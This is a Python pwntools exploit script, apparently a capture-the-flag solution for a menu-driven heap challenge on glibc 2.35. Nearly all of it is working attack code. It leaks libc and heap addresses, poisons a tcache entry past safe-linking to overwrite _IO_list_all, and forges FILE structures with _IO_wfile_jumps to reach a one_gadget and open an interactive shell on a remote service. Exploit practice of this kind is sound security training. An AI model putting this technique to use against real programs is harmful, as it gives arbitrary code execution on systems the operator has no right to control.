1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1 if debug: r = remote('192.168.18.22', 8888) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(index, size, content): r.sendlineafter(b'choice', b'1') r.sendlineafter(b'idx', str(index)) r.sendlineafter(b'size', str(size)) r.sendafter(b'content', content)
def delete(index): r.sendlineafter(b'choice', b'2') r.sendlineafter(b'idx', str(index))
def show(index): r.sendlineafter(b'choice', b'3') r.sendlineafter(b'idx', str(index))
def edit(index, content): r.sendlineafter(b'choice', b'4') r.sendlineafter(b'idx', str(index)) r.send(content)
for i in range(9): add(i, 0x3f0, b'a')
for i in range(8): delete(i)
add(10, 0x400, b'a') add(11, 0x30, b'a') show(11) libc_base = get_libc() - 0x21b061
edit(11, b'a' * 0x10) show(11) r.recvuntil(b'a' * 0x10) heap = u64(r.recv(6)[-6:].ljust(8, b'\x00')) - 0x1e90
libc = ELF('./2.35/libc.so.6') _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] one = [0x50a47, 0x50a47, 0x50a47, 0xebc88, 0xebce2, 0xebd3f, 0xebd43] ogg = one[6] + libc_base
add(20, 0x90, b'a')
add(13, 0x20, b'a') add(14, 0x18, b'a') add(15, 0x20, b'a') add(16, 0x20, b'a')
edit(14, b'a' * 0x18 + p64(0x61)) delete(15) add(15, 0x50, b'a') delete(13) delete(16)
addr = (heap >> 12) ^ (_IO_list_all + 2) edit(15, b'a' * 0x28 + p64(0x30) + p64(addr)) add(12, 0x20, b'a')
target_addr = heap + 0x2aa0 + 0x10
p2 = b'\x00' p2 = p2.ljust(0x28, b'\x00') + p64(1) p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0) p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps) p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210) add(0, 0x200, p2) add(1, 0x200, p2)
p3 = b'\x00' p3 = p3.ljust(0x68, b'\x00') + p64(ogg) add(2, 0x200, p3)
add(10, 0x20, p64(target_addr))
r.sendlineafter(b'choice', b'1') r.sendlineafter(b'idx', b'1') r.sendlineafter(b'size', b'1111111111111')
r.interactive()
|